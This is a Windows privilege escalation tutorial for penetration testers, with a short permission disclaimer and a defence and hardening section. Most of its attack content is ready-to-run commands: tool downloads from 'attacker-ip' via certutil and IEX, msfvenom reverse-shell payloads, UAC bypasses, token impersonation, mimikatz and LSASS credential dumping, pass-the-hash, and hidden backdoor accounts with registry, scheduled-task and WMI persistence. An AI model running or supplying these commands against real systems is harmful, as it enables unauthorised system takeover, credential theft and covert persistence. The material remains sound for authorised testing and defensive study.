By Davy Rogers. Use these techniques only in environments you own or have explicit permission to test.

Windows Privilege Escalation

Introduction

Windows Privilege Escalation is the process of exploiting vulnerabilities, misconfigurations, or design flaws in Windows systems to gain elevated privileges—typically from a standard user account to SYSTEM or Administrator level access. This critical phase of a penetration test or red team operation determines whether initial access can be leveraged into full system compromise.

Understanding Windows privilege escalation is essential for:

  • Penetration Testers: Demonstrating the full security impact of vulnerabilities
  • Red Teams: Achieving operational objectives requiring administrative access
  • System Administrators: Hardening Windows environments against escalation attacks
  • Security Researchers: Discovering novel escalation vectors and misconfigurations

This lesson covers comprehensive enumeration methodologies, common privilege escalation vectors, automated reconnaissance tools, manual exploitation techniques, and defensive countermeasures specific to Windows environments.

Understanding Windows Privilege Model

User Account Types

Windows implements a hierarchical privilege system:

Standard Users:

  • Limited system access
  • Cannot install software system-wide
  • Cannot modify system settings
  • Cannot access other users' files (without explicit permissions)
  • Cannot create/modify services
  • Limited registry access

Administrators:

  • Full control over the local system
  • Install/remove software
  • Modify system configurations
  • Create/delete users
  • Manage services
  • Access most files and registry keys

SYSTEM (NT AUTHORITY\SYSTEM):

  • Highest privilege level on Windows
  • More powerful than Administrator
  • Full access to all system resources
  • Used by core Windows services
  • Can access files even administrators cannot

TrustedInstaller:

  • Special account owning critical Windows files
  • Higher privilege than SYSTEM for specific resources
  • Protects Windows system integrity

Security Tokens and Access Control

Windows uses Access Tokens containing:

  • User Security Identifier (SID)
  • Group memberships
  • Privileges (SeDebugPrivilege, SeImpersonatePrivilege, etc.)
  • Integrity level (Low, Medium, High, System)

User Account Control (UAC):

  • Even administrators run with medium integrity by default
  • Elevation required for administrative tasks
  • Can be bypassed with various techniques

Windows Privilege Escalation Methodology

Phase 1: Initial Enumeration

Comprehensive system reconnaissance is critical:

System Information:

# Operating system information
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

# Hostname
hostname

# Architecture
wmic os get osarchitecture
echo %PROCESSOR_ARCHITECTURE%

# Installed patches
wmic qfe list full
wmic qfe get Caption,Description,HotFixID,InstalledOn

# Environment variables
set
Get-ChildItem Env: | ft Key,Value

Current User Context:

# Who am I?
whoami
whoami /all
whoami /priv
whoami /groups

# Current user's privileges
whoami /priv | findstr "Enabled"

# Check for interesting privileges:
# SeImpersonatePrivilege - Potato attacks
# SeDebugPrivilege - Process injection
# SeBackupPrivilege - Read any file
# SeRestorePrivilege - Write any file
# SeTakeOwnershipPrivilege - Take ownership of objects

User Enumeration:

# List all users
net user
net localgroup administrators
net localgroup users
Get-LocalUser
Get-LocalGroupMember Administrators

# Domain users (if domain-joined)
net user /domain
net group "Domain Admins" /domain

# Currently logged in users
query user
qwinsta

# User profiles
dir C:\Users\

Network Information:

# IP configuration
ipconfig /all

# Network connections
netstat -ano
netstat -ano | findstr "LISTENING"
netstat -ano | findstr "ESTABLISHED"

# Routing table
route print

# DNS cache
ipconfig /displaydns

# Network shares
net share
net view
net view \\localhost

# Firewall status
netsh firewall show state
netsh advfirewall show allprofiles
Get-NetFirewallProfile

Process Enumeration:

# List running processes
tasklist
tasklist /v
tasklist /svc
Get-Process

# Processes running as SYSTEM
tasklist /v | findstr "SYSTEM"

# Process with specific name
tasklist | findstr "process_name"

# Detailed process information
wmic process list full
wmic process get name,executablepath,processid

Service Enumeration:

# List all services
net start
sc query
Get-Service

# Detailed service information
sc qc servicename
wmic service list full
wmic service get name,displayname,pathname,startmode

# Services running as SYSTEM
wmic service where "startname='LocalSystem'" get name,pathname,displayname,startmode

# Unquoted service paths
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """

Scheduled Tasks:

# List scheduled tasks
schtasks /query /fo LIST /v
schtasks /query /fo CSV /v

# Tasks running as SYSTEM
schtasks /query /fo LIST /v | findstr "SYSTEM"

# PowerShell method
Get-ScheduledTask
Get-ScheduledTask | Where-Object {$_.Principal.UserId -eq "NT AUTHORITY\SYSTEM"}

Installed Software:

# Via registry
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

# Via WMIC
wmic product get name,version
wmic product list full

# PowerShell method
Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate

File System Enumeration:

# Drives
wmic logicaldisk get caption,description,providername
fsutil fsinfo drives

# File shares
net share

# Interesting files
dir /s *pass*.txt == *pass*.xml == *pass*.ini
dir /s *cred* == *cred.txt*
findstr /si password *.txt *.ini *.config *.xml

Registry Enumeration:

# AutoRuns
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

# AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Stored credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

Phase 2: Automated Enumeration

WinPEAS (Windows Privilege Escalation Awesome Scripts):

WinPEAS is the most comprehensive automated enumeration tool for Windows:

# Download and run
certutil -urlcache -f http://attacker-ip:8000/winPEASx64.exe winpeas.exe
.\winpeas.exe

# Run with specific checks
.\winpeas.exe quiet           # Less output
.\winpeas.exe systeminfo      # System info only
.\winpeas.exe filesinfo       # File info only
.\winpeas.exe eventsinfo      # Events info only

# Save output
.\winpeas.exe > winpeas_output.txt

# All checks
.\winpeas.exe cmd fast
.\winpeas.exe cmd searchall   # Very thorough

WinPEAS checks for:

  • Service misconfigurations
  • Unquoted service paths
  • Weak service permissions
  • DLL hijacking opportunities
  • Registry autoruns
  • Scheduled tasks
  • AlwaysInstallElevated
  • Stored credentials
  • Token privileges
  • Vulnerable software

PowerUp (PowerSploit):

PowerShell-based privilege escalation tool:

# Download
IEX (New-Object Net.WebClient).DownloadString('http://attacker-ip:8000/PowerUp.ps1')

# Or download and import
powershell -ep bypass
Import-Module .\PowerUp.ps1

# Run all checks
Invoke-AllChecks

# Specific checks
Get-UnquotedService
Get-ModifiableServiceFile
Get-ModifiableService
Get-ServiceDetail -ServiceName servicename
Get-ModifiableScheduledTaskFile
Get-RegistryAutoLogon
Get-RegistryAlwaysInstallElevated

Seatbelt:

.NET-based enumeration tool for offensive security:

# Download and run
.\Seatbelt.exe -group=all

# Specific checks
.\Seatbelt.exe -group=system
.\Seatbelt.exe -group=user
.\Seatbelt.exe -group=misc

# Individual modules
.\Seatbelt.exe OSInfo
.\Seatbelt.exe LocalUsers
.\Seatbelt.exe LocalGroups
.\Seatbelt.exe Processes
.\Seatbelt.exe WindowsVaults
.\Seatbelt.exe CredEnum
.\Seatbelt.exe TokenPrivileges

Windows-Exploit-Suggester:

Compares patches against exploit database:

# On attacker machine:
# Get systeminfo output from target
systeminfo > systeminfo.txt

# Run suggester
python windows-exploit-suggester.py --database 2023-10-01-mssb.xls --systeminfo systeminfo.txt

# Update exploit database
python windows-exploit-suggester.py --update

PrivescCheck:

PowerShell script for detailed privilege escalation checks:

# Download and run
IEX (New-Object Net.WebClient).DownloadString('http://attacker-ip:8000/PrivescCheck.ps1')
Invoke-PrivescCheck

# Extended checks
Invoke-PrivescCheck -Extended

# Report output
Invoke-PrivescCheck -Report PrivescCheck_%COMPUTERNAME%

Common Privilege Escalation Vectors

1. Service Exploits

Windows services often run with SYSTEM privileges, making them prime escalation targets:

Unquoted Service Paths:

When service paths contain spaces and aren't quoted, Windows searches for executables in multiple locations:

# Find unquoted service paths
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """

# Example vulnerable service:
# C:\Program Files\Vulnerable Service\service.exe
# Windows searches:
# C:\Program.exe
# C:\Program Files\Vulnerable.exe
# C:\Program Files\Vulnerable Service\service.exe

Exploitation:

# Check if we can write to a parent directory
icacls "C:\"
icacls "C:\Program Files"

# If writable, create malicious executable
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker-ip LPORT=4444 -f exe -o Program.exe

# Copy to exploitable location
copy Program.exe "C:\Program.exe"

# Restart service (if possible)
sc stop VulnerableService
sc start VulnerableService

# Or wait for system restart
shutdown /r /t 0

Weak Service Permissions:

Services with weak ACLs can be reconfigured:

# Check service permissions
accesschk.exe /accepteula -uwcqv user servicename
sc sdshow servicename

# PowerShell method
Get-Acl -Path "HKLM:\System\CurrentControlSet\Services\servicename" | Format-List

# If we can modify service config:
sc config servicename binpath= "C:\path\to\malicious.exe"

# Restart service
sc stop servicename
sc start servicename

Example with PowerUp:

# Find modifiable services
Invoke-AllChecks

# Abuse modifiable service
Install-ServiceBinary -Name 'VulnService' -Username 'victim' -Password 'password'

# Or change binpath
sc config VulnService binpath= "net user hacker Password123! /add"
sc config VulnService binpath= "net localgroup administrators hacker /add"
sc stop VulnService
sc start VulnService

Service Binary Hijacking:

If the service executable is writable:

# Check if service binary is writable
icacls "C:\Program Files\Service\service.exe"
accesschk.exe -quvw "C:\Program Files\Service\service.exe"

# Replace with malicious binary
copy malicious.exe "C:\Program Files\Service\service.exe"

# Restart service
sc stop servicename
sc start servicename

DLL Hijacking:

Services loading DLLs from writable locations:

# Find services loading DLLs
# Monitor with Process Monitor (procmon)

# Common hijackable DLLs:
# - Missing DLLs (DLL not found errors)
# - DLLs loaded from user-writable directories

# Create malicious DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker-ip LPORT=4444 -f dll -o hijack.dll

# Place in vulnerable location
copy hijack.dll "C:\Writable\Path\missing.dll"

# Restart service or system

2. Registry Exploits

AlwaysInstallElevated:

If both registry keys are set, MSI packages install with SYSTEM privileges:

# Check if enabled
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Both must return 0x1

Exploitation:

# Generate malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker-ip LPORT=4444 -f msi -o shell.msi

# Install (runs as SYSTEM)
msiexec /quiet /qn /i shell.msi

# Or double-click shell.msi

AutoRun Registry Keys:

Programs in AutoRun keys execute at login:

# Check AutoRun keys
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

# If writable, add malicious program
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\path\to\malicious.exe"

# Or modify existing entry
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v ExistingApp /t REG_SZ /d "C:\path\to\malicious.exe" /f

3. Scheduled Tasks

Tasks running as SYSTEM with writable executables:

# List scheduled tasks
schtasks /query /fo LIST /v

# Find tasks running as SYSTEM
schtasks /query /fo LIST /v | findstr /i "SYSTEM"

# Check task executable permissions
icacls "C:\path\to\task\executable.exe"

# If writable, replace
copy malicious.exe "C:\path\to\task\executable.exe"

# Wait for task execution or trigger manually
schtasks /run /tn "TaskName"

PowerShell Scheduled Task Exploitation:

# Get scheduled task details
Get-ScheduledTask | Where-Object {$_.Principal.UserId -eq "SYSTEM"}
Get-ScheduledTaskInfo -TaskName "TaskName"

# Check if task script is writable
$task = Get-ScheduledTask -TaskName "VulnTask"
$action = $task.Actions[0]
$scriptPath = $action.Execute
icacls $scriptPath

# Modify script
Add-Content -Path $scriptPath -Value 'net user hacker Password123! /add'
Add-Content -Path $scriptPath -Value 'net localgroup administrators hacker /add'

4. Token Impersonation

SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege allow token impersonation:

# Check for privileges
whoami /priv

# Look for:
# SeImpersonatePrivilege        Enabled
# SeAssignPrimaryTokenPrivilege Enabled

Exploitation with Juicy Potato (Windows Server 2008-2016):

# Download JuicyPotato
certutil -urlcache -f http://attacker-ip:8000/JuicyPotato.exe jp.exe

# Create reverse shell payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker-ip LPORT=4444 -f exe -o shell.exe

# Run JuicyPotato
.\jp.exe -l 1337 -p C:\path\to\shell.exe -t * -c {CLSID}

# Common CLSIDs:
# {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} - wuauserv
# {D20EA4E1-3957-11d2-A40B-0C5020524153} - BITS

PrintSpoofer (Windows 10, Server 2019+):

Newer alternative for exploiting SeImpersonatePrivilege:

# Download PrintSpoofer
certutil -urlcache -f http://attacker-ip:8000/PrintSpoofer64.exe ps.exe

# Execute command as SYSTEM
.\ps.exe -i -c cmd

# Or with custom command
.\ps.exe -c "C:\path\to\shell.exe"

RoguePotato (Windows 10 1809+):

# Setup socat redirector on attacker machine (port 135)
sudo socat tcp-listen:135,reuseaddr,fork tcp:target-ip:9999

# Run RoguePotato on target
.\RoguePotato.exe -r attacker-ip -l 9999 -e "C:\path\to\shell.exe"

5. SeBackup / SeRestore Privileges

SeBackupPrivilege allows reading any file:

# Check for privilege
whoami /priv | findstr SeBackupPrivilege

# If enabled, can read SAM and SYSTEM registry hives

Extracting Password Hashes:

# Save registry hives
reg save HKLM\SAM C:\temp\sam.hive
reg save HKLM\SYSTEM C:\temp\system.hive

# Transfer to attacker machine
# Extract hashes with secretsdump.py
python3 secretsdump.py -sam sam.hive -system system.hive LOCAL

# Crack hashes
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

# Or use Pass-the-Hash
pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:hash //target-ip cmd

SeRestorePrivilege allows writing any file:

# Can modify protected files
# Replace system binary with malicious version
# Or create service binary in protected directory

6. Credential Harvesting

Credentials in Files:

# Search for passwords in files
findstr /si password *.txt *.xml *.ini *.config
dir /s *pass* == *cred* == *vnc* == *.config*

# Common locations:
C:\Users\username\Desktop
C:\Users\username\Documents
C:\inetpub\wwwroot\web.config
C:\Windows\System32\config\systemprofile\AppData\Local
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml

# Unattend.xml may contain admin passwords
type C:\Windows\Panther\Unattend.xml | findstr /i password
type C:\Windows\Panther\Unattend\Unattend.xml | findstr /i password

Registry Credentials:

# Autologon credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword

# PuTTY sessions
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# VNC passwords
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v password

Saved Credentials:

# List saved credentials
cmdkey /list
runas /savecred /user:administrator cmd.exe

# Windows Vault
vaultcmd /list
vaultcmd /listcreds:"Windows Credentials"

# Credential Manager (PowerShell)
[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() | % { $_.RetrievePassword(); $_ }

WiFi Passwords:

# List WiFi profiles
netsh wlan show profiles

# Get WiFi password
netsh wlan show profile name="WiFi-Name" key=clear

# Or all profiles:
for /f "tokens=2 delims=:" %i in ('netsh wlan show profiles ^| findstr "All User Profile"') do @echo Profile: %i & netsh wlan show profile name=%i key=clear | findstr "Key Content"

Browser Credentials:

# Chrome passwords location
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data

# Firefox passwords
%APPDATA%\Mozilla\Firefox\Profiles\

# Use tools like:
# - LaZagne (python)
# - SharpChrome (C#)

Memory Credentials:

# Mimikatz (if admin access)
.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
sekurlsa::tickets

# Dump LSASS
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Transfer to attacker machine
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

7. Kernel Exploits

Windows kernel vulnerabilities provide direct SYSTEM access:

Identifying Vulnerable Systems:

# Check Windows version and patches
systeminfo
wmic qfe list full

# Use Windows-Exploit-Suggester on attacker machine

Common Kernel Exploits:

MS16-032 (Windows 7-10, Server 2008-2012 R2):

# Download exploit
certutil -urlcache -f http://attacker-ip:8000/MS16-032.ps1 exploit.ps1

# Run
powershell -ep bypass
Import-Module .\exploit.ps1
Invoke-MS16-032

# Spawns SYSTEM cmd.exe

MS15-051 (Windows 2000-2012 R2):

# Compile exploit (Visual Studio or pre-compiled)
# Run
ms15-051x64.exe "cmd.exe"

MS16-135 (Windows 7-10, Server 2008-2016):

# Download and run
.\MS16-135.exe

PrintNightmare (CVE-2021-1675 / CVE-2021-34527):

# Check if vulnerable
rpcdump.py @target-ip | grep MS-RPRN

# Exploitation (requires SMB share with DLL)
# Setup SMB share on attacker:
sudo impacket-smbserver share /path/to/share -smb2support

# Generate malicious DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker-ip LPORT=4444 -f dll -o shell.dll

# Exploit
.\CVE-2021-1675.ps1 -DLL "\\attacker-ip\share\shell.dll"

8. DLL Hijacking

Applications loading DLLs from user-writable directories:

Finding Hijackable DLLs:

# Use Process Monitor (procmon.exe):
# 1. Set filter: Result is "NAME NOT FOUND"
# 2. Set filter: Path ends with ".dll"
# 3. Run target application
# 4. Look for DLLs loaded from writable locations

Exploitation:

# Generate malicious DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker-ip LPORT=4444 -f dll -o hijack.dll

# Place in writable directory where application looks
copy hijack.dll "C:\Program Files\Application\missing.dll"

# Restart application

Common Hijackable Locations:

  • Application directory (if writable)
  • Current working directory
  • System32/SysWOW64 (if PATH is hijacked)
  • Directories in %PATH% before legitimate DLL location

9. Startup Applications

Programs in startup folders run at user login:

# Startup folder locations
C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

# Check permissions
icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"

# If writable, add malicious executable
copy malicious.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\startup.exe"

# Wait for user login or system restart

10. UAC Bypass

User Account Control can be bypassed without credentials:

Fodhelper UAC Bypass (Windows 10):

# Create malicious registry entry
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd /c start C:\path\to\payload.exe" -Force

# Trigger with fodhelper
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

# Clean up
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

EventViewer UAC Bypass:

# Create malicious registry key
New-Item "HKCU:\Software\Classes\mscfile\shell\open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Name "(default)" -Value "C:\path\to\payload.exe" -Force

# Trigger
Start-Process "C:\Windows\System32\eventvwr.exe"

# Clean up
Remove-Item "HKCU:\Software\Classes\mscfile\" -Recurse -Force

Post-Exploitation

1. Maintaining Access

Create Backdoor User:

# Add new user
net user hacker Password123! /add
net localgroup administrators hacker /add

# Hide user from login screen
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v hacker /t REG_DWORD /d 0

Enable RDP:

# Enable RDP
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

# Enable RDP through firewall
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

# Or add firewall rule
netsh advfirewall firewall add rule name="Open RDP" protocol=TCP dir=in localport=3389 action=allow

Registry Persistence:

# Add to Run key
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\path\to\backdoor.exe"

# Or RunOnce
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v Backdoor /t REG_SZ /d "C:\path\to\backdoor.exe"

Scheduled Task Persistence:

# Create scheduled task
schtasks /create /tn "WindowsUpdate" /tr "C:\path\to\backdoor.exe" /sc onlogon /ru SYSTEM

# Or with PowerShell
$action = New-ScheduledTaskAction -Execute "C:\path\to\backdoor.exe"
$trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "WindowsUpdate" -Action $action -Trigger $trigger -User "SYSTEM" -RunLevel Highest

WMI Event Subscription (fileless):

# Create WMI event filter (trigger)
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
    Name = "UpdateFilter"
    EventNamespace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}

# Create WMI event consumer (action)
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
    Name = "UpdateConsumer"
    CommandLineTemplate = "C:\path\to\backdoor.exe"
}

# Bind filter to consumer
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
    Filter = $Filter
    Consumer = $Consumer
}

2. Credential Dumping

Extract SAM/SYSTEM Hashes:

# Save registry hives (requires SYSTEM or SeBackupPrivilege)
reg save HKLM\SAM C:\Windows\Temp\sam.hive
reg save HKLM\SYSTEM C:\Windows\Temp\system.hive

# Transfer to attacker machine
# Extract with secretsdump.py
python3 secretsdump.py -sam sam.hive -system system.hive LOCAL

Mimikatz:

# Run Mimikatz (requires admin/SYSTEM)
.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords    # Dump credentials
lsadump::sam                 # Dump SAM database
lsadump::secrets             # Dump LSA secrets
sekurlsa::tickets            # List Kerberos tickets
sekurlsa::pth /user:Administrator /ntlm:hash /domain:domain.com  # Pass-the-hash

Dump LSASS Process:

# Using Task Manager: right-click lsass.exe > Create Dump File

# Using ProcDump
procdump.exe -accepteula -ma lsass.exe lsass.dmp

# Using comsvcs.dll (built-in)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp full

# Analyze on attacker machine
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

3. Lateral Movement

Pass-the-Hash:

# Using Mimikatz
sekurlsa::pth /user:Administrator /domain:. /ntlm:hash

# Using pth-toolkit (Linux)
pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:hash //target-ip cmd

# Using Impacket (Linux)
python3 psexec.py -hashes :hash Administrator@target-ip
python3 wmiexec.py -hashes :hash Administrator@target-ip

PSExec:

# Using PsExec from Sysinternals
.\PsExec.exe \\target-ip -u domain\username -p password cmd

# Or with admin hash
.\PsExec.exe \\target-ip -hashes :hash cmd

Defense and Hardening

System Hardening

Keep Systems Updated:

# Check for updates
wuauclt /detectnow /updatenow

# View update history
wmic qfe list

# Enable automatic updates
# Settings > Update & Security > Windows Update > Advanced options

Disable Unnecessary Services:

# List running services
Get-Service | Where-Object {$_.Status -eq "Running"}

# Stop and disable service
Stop-Service -Name "ServiceName"
Set-Service -Name "ServiceName" -StartupType Disabled

Harden Service Permissions:

# Review service permissions with accesschk
accesschk.exe -uwcqv "Authenticated Users" *

# Set proper permissions
sc sdset servicename "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)"

Remove Dangerous Privileges:

# Audit user privileges
whoami /priv

# Remove SeImpersonatePrivilege from service accounts
# Edit service properties in services.msc
# Run service with least privilege account

Secure Registry:

# Disable AlwaysInstallElevated
reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /f
reg delete HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /f

# Clear autologon credentials
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /f

Enable UAC:

# Check UAC status
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA

# Enable UAC (requires restart)
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 1 /f

# Set to highest level
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 2 /f

Monitoring and Detection

Enable Enhanced Logging:

# Enable PowerShell logging
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /v EnableScriptBlockLogging /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" /v EnableTranscripting /t REG_DWORD /d 1 /f

# Enable command-line auditing
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f

# Enable detailed event logging
auditpol /set /category:"Detailed Tracking" /success:enable /failure:enable
auditpol /set /category:"Object Access" /success:enable /failure:enable

Monitor Event Logs:

# Security log
Get-EventLog -LogName Security -Newest 100

# Look for privilege use
Get-EventLog -LogName Security | Where-Object {$_.EventID -eq 4672 -or $_.EventID -eq 4673}

# Monitor new service installs
Get-EventLog -LogName System | Where-Object {$_.EventID -eq 7045}

# Failed logon attempts
Get-EventLog -LogName Security | Where-Object {$_.EventID -eq 4625}

Sysmon for Advanced Monitoring:

# Install Sysmon with SwiftOnSecurity config
Sysmon64.exe -accepteula -i sysmonconfig-export.xml

# Events to monitor:
# - Event ID 1: Process creation
# - Event ID 3: Network connection
# - Event ID 10: Process access (LSASS dumping)
# - Event ID 11: File creation

Practical Scenarios

Scenario 1: Unquoted Service Path

Environment:

  • Windows 10 machine
  • User: standard user with shell access
  • Goal: Escalate to SYSTEM

Enumeration:

# Find unquoted service paths
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """

# Output:
# VulnerableService    C:\Program Files\Vulnerable Service\service.exe

Check Permissions:

icacls "C:\"
icacls "C:\Program Files"
# C:\Program Files NT SERVICE\TrustedInstaller:(F)
#                 NT AUTHORITY\SYSTEM:(OI)(CI)(F)
#                 BUILTIN\Administrators:(OI)(CI)(F)
#                 BUILTIN\Users:(RX)
#                 BUILTIN\Users:(OI)(CI)(IO)(GR,GE)
#                 ...

# Not writable by standard user - check parent
icacls "C:\Program Files\Vulnerable Service"
# BUILTIN\Users:(OI)(CI)(M)  # Modify permissions!

Exploitation:

# Generate payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o Vulnerable.exe

# Copy to exploitable location
copy Vulnerable.exe "C:\Program Files\Vulnerable.exe"

# Setup listener on attacker machine
nc -nvlp 4444

# Restart service (if we have permissions)
sc stop VulnerableService
sc start VulnerableService

# Receive SYSTEM shell

Scenario 2: Token Impersonation (IIS Server)

Environment:

  • Windows Server 2019 with IIS
  • User: nt authority\iis apppool\defaultapppool (web shell)
  • Goal: Escalate to SYSTEM

Enumeration:

whoami /priv
# SeImpersonatePrivilege        Enabled
# SeChangeNotifyPrivilege       Enabled
# SeCreateGlobalPrivilege       Enabled

Exploitation with PrintSpoofer:

# Upload PrintSpoofer
certutil -urlcache -f http://192.168.1.100:8000/PrintSpoofer64.exe ps.exe

# Generate payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o shell.exe

# Upload payload
certutil -urlcache -f http://192.168.1.100:8000/shell.exe shell.exe

# Setup listener
nc -nvlp 4444

# Execute
.\ps.exe -c "C:\Windows\Temp\shell.exe"

# Receive SYSTEM shell

Scenario 3: AlwaysInstallElevated

Environment:

  • Windows 10 machine
  • User: standard domain user
  • Goal: Escalate to SYSTEM

Enumeration:

# Check registry keys
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# 0x1

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# 0x1

# Both enabled - vulnerable!

Exploitation:

# Generate malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f msi -o shell.msi

# Transfer to target
certutil -urlcache -f http://192.168.1.100:8000/shell.msi shell.msi

# Setup listener
nc -nvlp 4444

# Install MSI (runs as SYSTEM)
msiexec /quiet /qn /i C:\Windows\Temp\shell.msi

# Receive SYSTEM shell

Tools Reference

Enumeration Tools

WinPEAS:

PowerUp:

Seatbelt:

PrivescCheck:

Windows-Exploit-Suggester:

Exploitation Tools

JuicyPotato:

  • Technique: Token impersonation via DCOM
  • Target: Windows Server 2008-2016

PrintSpoofer:

  • Technique: Print Spooler service abuse
  • Target: Windows 10, Server 2019+

RoguePotato:

  • Technique: Token impersonation
  • Target: Windows 10 1809+

Mimikatz:

Best Practices

For Penetration Testers

  1. Enumerate Methodically:

    • Use automated tools (WinPEAS, PowerUp)
    • Verify findings manually
    • Look beyond common vectors

  2. Test Safely:

    • Avoid kernel exploits in production without approval
    • Create restore points before system modifications
    • Document all changes

  3. Provide Value:

    • Explain business impact of findings
    • Show complete attack chains
